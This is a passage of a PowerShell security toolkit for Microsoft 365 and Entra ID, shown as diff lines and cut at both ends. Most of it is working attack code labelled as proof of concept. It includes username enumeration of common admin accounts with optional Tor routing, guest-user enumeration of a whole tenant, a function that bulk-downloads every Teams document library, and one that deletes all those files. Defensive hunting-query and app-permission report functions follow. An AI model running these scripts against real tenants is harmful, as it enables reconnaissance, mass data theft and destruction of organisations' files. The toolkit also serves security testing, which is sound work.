"https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content + } + else { + [xml]$Response = (Invoke-WebRequest -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content + } + + # Add org information. + $TestObject | Add-Member -MemberType NoteProperty -Name "Org" -Value $Response.RealmInfo.FederationBrandName + + # If domain is Federated we can't tell if the account exists or not :( + if ($Response.RealmInfo.IsFederatedNS -eq $true) { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Unknown (federated domain: $((($Response.RealmInfo.AuthURL -split "//")[1] -split "/")[0]))" + } + # If the domain is Managed (not federated) we can tell if an account exists in Entra ID :) + else { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Yes" + } + } + else { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "No" + } + + $TestObject + } +} + + + +function Test-DCEntraIDCommonAdmins { + <# + .SYNOPSIS + Test if common and easily guessed admin usernames exist for specified Entra ID domains. + + .DESCRIPTION + Uses Test-DCEntraIDUserExistence to test if common and weak admin account names exist in specified Entra ID domains. It uses publicaly available Microsoft endpoints to query for this information. Run help Test-DCEntraIDUserExistence for more info. + + Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + + .PARAMETER Domains + An array of one or more domains to test. + + .PARAMETER UseTorHttpProxy + Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .EXAMPLE + Test-DCEntraIDCommonAdmins -UseTorHttpProxy -Domains "example.com", "example2.onmicrosoft.com" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [array]$Domains, + + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + $CommonAdminUsernames = "admin@DOMAINNAME", + "administrator@DOMAINNAME", + "root@DOMAINNAME", + "system@DOMAINNAME", + "operator@DOMAINNAME", + "super@DOMAINNAME", + "breakglass@DOMAINNAME", + "breakglass1@DOMAINNAME", + "breakglass2@DOMAINNAME", + "serviceaccount@DOMAINNAME", + "service@DOMAINNAME", + "srv@DOMAINNAME", + "svc@DOMAINNAME", + "smtp@DOMAINNAME", + "smtprelay@DOMAINNAME", + "mail@DOMAINNAME", + "exchange@DOMAINNAME", + "sharepoint@DOMAINNAME", + "teams@DOMAINNAME", + "azure@DOMAINNAME", + "user@DOMAINNAME", + "user1@DOMAINNAME", + "user01@DOMAINNAME", + "guest@DOMAINNAME", + "test@DOMAINNAME", + "test1@DOMAINNAME", + "test01@DOMAINNAME", + "testing@DOMAINNAME", + "test.test@DOMAINNAME", + "test.testsson@DOMAINNAME", + "demo@DOMAINNAME", + "backup@DOMAINNAME", + "print@DOMAINNAME", + "sa@DOMAINNAME", + "sql@DOMAINNAME", + "mysql@DOMAINNAME", + "oracle@DOMAINNAME" + + foreach ($Domain in $Domains) { + if ($UseTorHttpProxy) { + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users ($CommonAdminUsernames -replace "DOMAINNAME", $Domain) + } + else { + Test-DCEntraIDUserExistence -Users ($CommonAdminUsernames -replace "DOMAINNAME", $Domain) + } + } +} + + + +function Get-DCEntraIDUsersAndGroupsAsGuest { + <# + .SYNOPSIS + This script lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. + + .DESCRIPTION + This script is a proof of concept. Don't use it for bad things! It lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. It works around the limitation that guest users must do explicit lookups for users and groups. It basically produces a list of all users and groups in the tenant, even though such actions are blocked for guests by default. + + If the target tenant allows guest users to sign in with Entra ID PowerShell, and the 'Guest user access restrictions' is set to one of these two settings: + 'Guest users have the same access as members (most inclusive)' + 'Guest users have limited access to properties and memberships of directory objects' [default] + + And not set to: + 'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)' + + ...then this script will query Entra ID for the group memberships of the specified -InterestingUsers that you already know the UPN of. It then perform nested queries until all users and groups have been found. It will stop after a maximum of 5 iterations to avoid throttling and infinite loops. "A friend of a friend of a friend..." + + Finally, the script will output one array with found users, and one array with found groups/teams. You can then export them to CSV or some other format of your choice. Export examples are outputed for your convenience. + + .PARAMETER TenantId + The tenant ID of the target tenant where you are a guest. You can find all your guest tenant IDs here: https://portal.azure.com/#settings/directory + + .PARAMETER AccountId + Your UPN in your home tenant (probably your email address, right?). + + .PARAMETER InterestingUsers + One or more UPNs of users in the target tenant. These will serve as a starting point for the search, and one or two employees you know about is often sufficient to enumerate everything. + + .EXAMPLE + Get-DCEntraIDUsersAndGroupsAsGuest -TenantId '00000000-0000-0000-0000-000000000000' -AccountId 'user@example.com' -InterestingUsers 'customer1@customer.com', 'customer2@customer.com' + + .INPUTS + None + + .OUTPUTS + One array with found users, and one array with found groups/teams. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$TenantId, + + [parameter(Mandatory = $true)] + [string]$AccountId, + + [parameter(Mandatory = $true)] + [string[]]$InterestingUsers + ) + + + # Connect to the target tenant as a guest. + Write-Verbose -Verbose -Message 'Connecting to Entra ID as guest...' + Connect-AzureAd -TenantId $TenantId -AccountId $AccountId | Out-Null + + + # Variables to collect. + $global:FoundUsers = @() + $global:FoundGroups = @() + + + # First round. + Write-Verbose -Verbose -Message 'Starting round 1...' + $global:FoundUsers = foreach ($User in $InterestingUsers) { + $FormatedUser = Get-AzureAdUser -ObjectId $User + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $FormatedUser + } + + $global:FoundUsers = @($global:FoundUsers | Select-Object -Unique | Sort-Object UserPrincipalName) + Write-Verbose -Verbose -Message "Found $($global:FoundUsers.Count) users!" + + + # Remaining rounds. + for ($i = 2; $i -le 5; $i++) { + Write-Verbose -Verbose -Message "Starting round $i..." + + foreach ($User in $global:FoundUsers) { + $Groups = Get-AzureAdUserMembership -ObjectID $User.UserPrincipalName | Where-Object DisplayName -NE $null + + foreach ($Group in $Groups) { + if ($global:FoundGroups.ObjectId) { + if (!($global:FoundGroups.ObjectId.Contains($Group.ObjectId))) { + Write-Verbose -Verbose -Message "Processing group '$($Group.DisplayName)'..." + + $global:FoundGroups += $Group + + $Members = @() + + try { + $Members = Get-AzureAdGroupMember -All:$true -ObjectId $Group.ObjectId -ErrorAction SilentlyContinue + } + catch { + # Do nothing. + } + + foreach ($Member in $Members) { + if (!($global:FoundUsers.ObjectId.Contains($Member.ObjectId))) { + $FormatedUser = Get-AzureAdUser -ObjectId $Member.ObjectId -ErrorAction SilentlyContinue + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $global:FoundUsers += $FormatedUser + } + } + } + } + else { + Write-Verbose -Verbose -Message "Processing group '$($Group.DisplayName)'..." + + $global:FoundGroups += $Group + + $Members = @() + + try { + $Members = Get-AzureAdGroupMember -All:$true -ObjectId $Group.ObjectId -ErrorAction SilentlyContinue + } + catch { + # Do nothing. + } + + foreach ($Member in $Members) { + if (!($global:FoundUsers.ObjectId.Contains($Member.ObjectId))) { + $FormatedUser = Get-AzureAdUser -ObjectId $Member.ObjectId -ErrorAction SilentlyContinue + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $global:FoundUsers += $FormatedUser + } + } + } + } + } + + # Remove duplicates. + $global:FoundUsers = $global:FoundUsers | Select-Object -Unique | Sort-Object UserPrincipalName + Write-Verbose -Verbose -Message "Found $($global:FoundUsers.Count) users!" + $global:FoundGroups = $global:FoundGroups | Select-Object -Unique | Sort-Object DisplayName + Write-Verbose -Verbose -Message "Found $($global:FoundGroups.Count) groups!" + + # Check if we found any new users or groups this round. + if ($global:FoundUsers.Count -eq $LastRoundUsers -and $global:FoundGroups.Count -eq $LastRoundGroups) { + Write-Verbose -Verbose -Message "No new users or groups found in this round! Breaking loop!" + break + } + + # Use this to check for new users and groups next round. + $LastRoundUsers = $global:FoundUsers.Count + $LastRoundGroups = $global:FoundGroups.Count + } + + + # Output instructions. + Write-Host '' + Write-Verbose -Verbose -Message "You now have two arrays with found users and groups:" + Write-Host -ForegroundColor 'Green' '$FoundUsers | Format-Table ObjectId, UserPrincipalName, DisplayName, ManagerUpn, ManagerDisplayName' + Write-Host -ForegroundColor 'Green' '$FoundGroups | Format-Table ObjectId, DisplayName, Description, SecurityEnabled' + Write-Host '' + Write-Verbose -Verbose -Message "You can export them to CSV like this:" + Write-Host -ForegroundColor 'Green' "`$FoundUsers | Export-Csv -NoTypeInformation -Delimiter ';' -Encoding UTF8 -Path 'FoundUsers.csv'" + Write-Host -ForegroundColor 'Green' "`$FoundGroups | Export-Csv -NoTypeInformation -Delimiter ';' -Encoding UTF8 -Path 'FoundGroups.csv'" + Write-Host '' +} + + + +function Invoke-DCM365DataExfiltration { + <# + .SYNOPSIS + This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This script showcase how an attacker can exfiltrate huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + + - Files.Read.All + - Files.ReadWrite.All + - Sites.Read.All + - Sites.ReadWrite.All + + Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + + - GroupMember.Read.All + - Group.Read.All + - Directory.Read.All + - Group.ReadWrite.All + - Directory.ReadWrite.All + + The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and download all files it can find, down to three folder levels. The files will be downloaded to the current directory. + + A list of downloaded files will be copied to the clipboard after completion. + + You can run the script with -WhatIf to skip the actual downloads. It will still show the output and what would have been downloaded. + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .PARAMETER WhatIf + Skip the actual downloads. It will still show the output and what would have been downloaded. + + .EXAMPLE + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + .EXAMPLE + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName, + + [parameter(Mandatory = $false)] + [switch]$WhatIf + ) + + + # WhatIf. + if ($WhatIf) { + Write-Verbose -Verbose -Message "NOTE: -WhatIf was declared. Simulating run (no files will be downloaded)!" + } + + + # Connect to Microsoft Graph with application credentials. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph as Service Principal '$ClientID'..." + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + TenantName = $TenantName + } + + $AccessToken = Connect-DCMsGraphAsApplication @Parameters + + + # GET all Microsoft 365 Groups. + Write-Verbose -Verbose -Message "Fetching all Microsoft 365 groups (Teams)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups?`$filter=groupTypes/any(c:c+eq+'Unified')&`$select=id,displayName,description" + } + + $M365Groups = Invoke-DCMsGraphQuery @Parameters + Write-Verbose -Verbose -Message "Found $($M365Groups.Count) Microsoft 365 groups." + + + # GET all related SharePoint document libraries. + Write-Verbose -Verbose -Message "Loading related SharePoint document libraries..." + $DocumentLibraries = foreach ($Group in $M365Groups) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups/$($Group.id)/drive?`$select=id,name,webUrl" + } + + Invoke-DCMsGraphQuery @Parameters + } + Write-Verbose -Verbose -Message "Done! Starting download job NOW..." + + + # DOWNLOAD files in the document libraries (root level + three folder levels down). + $Files = foreach ($DocumentLibrary in $DocumentLibraries) { + Write-Verbose -Verbose -Message "--- Looking in '$($DocumentLibrary.webUrl)'..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/root/children" + } + + $RootContent = Invoke-DCMsGraphQuery @Parameters + $RootContent | where file + + # Download files in root directory. + foreach ($File in ($RootContent | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + foreach ($Item in ($RootContent | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel1 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel1 | where file + + # Download files in sub SubContentLevel1. + foreach ($File in ($SubContentLevel1 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + # Go through folders in SubContentLevel1. + foreach ($Item in ($SubContentLevel1 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel2 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel2 | where file + + # Download files in sub SubContentLevel2. + foreach ($File in ($SubContentLevel2 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + # Go through folders in SubContentLevel2. + foreach ($Item in ($SubContentLevel2 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel3 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel3 | where file + + # Download files in sub SubContentLevel3. + foreach ($File in ($SubContentLevel3 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + } + } + } + } + + + # Copy result to clipboard and exit. + $Files | Select-Object Name, size | Set-Clipboard + Write-Verbose -Verbose -Message "File list copied to clipboard!" + Write-Verbose -Verbose -Message "All done!" +} + + + +function Invoke-DCM365DataWiper { + <# + .SYNOPSIS + This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This script showcase how an attacker can wipe huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + + - Files.ReadWrite.All + - Sites.ReadWrite.All + + Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + + - GroupMember.Read.All + - Group.Read.All + - Directory.Read.All + - Group.ReadWrite.All + - Directory.ReadWrite.All + + The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and delete all files it can find, down to three folder levels. The files will be downloaded to the current directory. + + A list of downloaded files will be copied to the clipboard after completion. + + You can run the script with -WhatIf to skip the actual deletion. It will still show the output and what would have been deleted. + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .PARAMETER WhatIf + Skip the actual deletion. It will still show the output and what would have been deleted. + + .EXAMPLE + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + .EXAMPLE + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName, + + [parameter(Mandatory = $false)] + [switch]$WhatIf + ) + + + # WhatIf. + if ($WhatIf) { + Write-Verbose -Verbose -Message "NOTE: -WhatIf was declared. Simulating run (no files will be deleted)!" + } + + + # Connect to Microsoft Graph with application credentials. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph as Service Principal '$ClientID'..." + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + TenantName = $TenantName + } + + $AccessToken = Connect-DCMsGraphAsApplication @Parameters + + + # GET all Microsoft 365 Groups. + Write-Verbose -Verbose -Message "Fetching all Microsoft 365 groups (Teams)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups?`$filter=groupTypes/any(c:c+eq+'Unified')&`$select=id,displayName,description" + } + + $M365Groups = Invoke-DCMsGraphQuery @Parameters + Write-Verbose -Verbose -Message "Found $($M365Groups.Count) Microsoft 365 groups." + + + # GET all related SharePoint document libraries. + Write-Verbose -Verbose -Message "Loading related SharePoint document libraries..." + $DocumentLibraries = foreach ($Group in $M365Groups) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups/$($Group.id)/drive?`$select=id,name,webUrl" + } + + Invoke-DCMsGraphQuery @Parameters + } + Write-Verbose -Verbose -Message "Done! Starting wipe job NOW..." + + + # DELETE files in the document libraries (root level + three folder levels down). + $Files = foreach ($DocumentLibrary in $DocumentLibraries) { + Write-Verbose -Verbose -Message "--- Looking in '$($DocumentLibrary.webUrl)'..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/root/children" + } + + $RootContent = Invoke-DCMsGraphQuery @Parameters + $RootContent | where file + + # Delete files in root directory. + foreach ($File in ($RootContent | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + foreach ($Item in ($RootContent | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel1 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel1 | where file + + # Delete files in sub SubContentLevel1. + foreach ($File in ($SubContentLevel1 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + # Go through folders in SubContentLevel1. + foreach ($Item in ($SubContentLevel1 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel2 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel2 | where file + + # Delete files in sub SubContentLevel2. + foreach ($File in ($SubContentLevel2 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + # Go through folders in SubContentLevel2. + foreach ($Item in ($SubContentLevel2 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel3 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel3 | where file + + # Delete files in sub SubContentLevel3. + foreach ($File in ($SubContentLevel3 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + } + } + } + } + + + # Copy result to clipboard and exit. + $Files | Select-Object Name, size | Set-Clipboard + Write-Verbose -Verbose -Message "File list copied to clipboard!" + Write-Verbose -Verbose -Message "All done!" +} + + + +function Invoke-DCHuntingQuery { + <# + .SYNOPSIS + Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + + .DESCRIPTION + Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + + .PARAMETER Query + The KQL query you want to run in Microsoft Defender XDR. + + .PARAMETER IncludeQueryAtTop + Include the KQL query before the actual result output. + + .PARAMETER IncludeRaw + Include the raw formated and escaped KQL query sent to Microsoft Graph. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + + Invoke-DCHuntingQuery -Query $Query + + .EXAMPLE + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + + Invoke-DCHuntingQuery -Query $Query -IncludeKQLQueryAtTop + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + [CmdletBinding()] + param ( + [parameter(Mandatory = $true)] + [string]$Query, + + [parameter(Mandatory = $false)] + [switch]$IncludeKQLQueryAtTop, + + [parameter(Mandatory = $false)] + [switch]$IncludeRaw + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'ThreatHunting.Read.All' + + + if ($IncludeKQLQueryAtTop) { + Write-Host '' + Write-Host -ForegroundColor Cyan $Query + Write-Host '' + } + + + # Run KQL hunting query. + $Query = $Query -replace "\\", '\\' -replace '"', '\"' + + $GraphBody = @" +{ + "Query": "$Query" +} +"@ + + if ($IncludeRaw) { + Write-Host '' + Write-Host -ForegroundColor Magenta $Query + Write-Host '' + } + + $Results = Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/v1.0/security/runHuntingQuery' -Body $GraphBody -OutputType Json + + $Results = ($Results | ConvertFrom-Json).results + + $Properties = @(($Results | Select-Object -First 1).PSObject.Properties | Where-Object { $_.Name -notlike "*@odata.type" }).Name + + $CountIsPresent = $false + + [string[]]$Properties = foreach ($Property in $Properties) { + if ($Property -eq 'count_') { + $CountIsPresent = $true + } + else { + $Property + } + } + + if ($CountIsPresent) { + $Properties += "count_" + } + + $Results | Select-Object -Property $Properties + + if (!($Results)) { + Write-host '-- empty result --' + Write-host '' + } +} + + + +function New-DCEntraIDAppPermissionsReport { + <# + .SYNOPSIS + Generate a report containing all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) in the tenant. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) and generate a report. The report includes app names, API permissions, secrets/certificates, and app owners. + + The purpose is to find vulnerable applications and API permissions in Entra ID. + + Applications marked with 'AppHostedInExternalTenant = False' also has a corresponding App Registration in this tenant. This means that App Registration Owners has the same permissions as the application. + + .INPUTS + None + + .OUTPUTS + Entra ID apps with API permissions. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Get all API application permissions assigned to applications in tenant. + New-DCEntraIDAppPermissionsReport + + .EXAMPLE + # Look for sensitive permissions. + $Result = New-DCEntraIDAppPermissionsReport + $Result | where RoleName -in 'RoleManagement.ReadWrite.Directory', 'Application.ReadWrite.All', 'AppRoleAssignment.ReadWrite.All' + + .EXAMPLE + # Export report to Excel for further filtering and analysis. + $Result = New-DCEntraIDAppPermissionsReport + $Path = "$((Get-Location).Path)\Entra ID Enterprise Apps Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "Enterprise Apps" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + #> + + + + # ----- [Initializations] ----- + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Application.Read.All', 'Directory.Read.All' -Verbose + + + # Service Principals (shadow apps representing apps in any tenant, this or 3rd party). + Write-Verbose -Verbose -Message "Fetching service principals..." + $ServicePrincipals = Get-MgServicePrincipal -All | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # Applications (apps registered and hosted in this tenant, used in this tenant or shared with others). + Write-Verbose -Verbose -Message "Fetching app registrations..." + $Applications = Get-MgApplication -All | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # App roles. + Write-Verbose -Verbose -Message "Fetching API permissions..." + $AppRoles = Find-MgGraphPermission -All + + + # Application permissions. + Write-Verbose -Verbose -Message "Going through $($ServicePrincipals.Count) applications..." + $APIPermissions = foreach ($ServicePrincipal in $ServicePrincipals) { + $Permissions = (Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.Id)/appRoleAssignments" | ConvertTo-Json -Depth 10 | ConvertFrom-Json).value + + $Id = ($Applications | where appId -eq $ServicePrincipal.appId).id + $Owners = $null + + if ($Id) { + $Owners = ((Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/applications/$Id/owners" | ConvertTo-Json -Depth 10 | 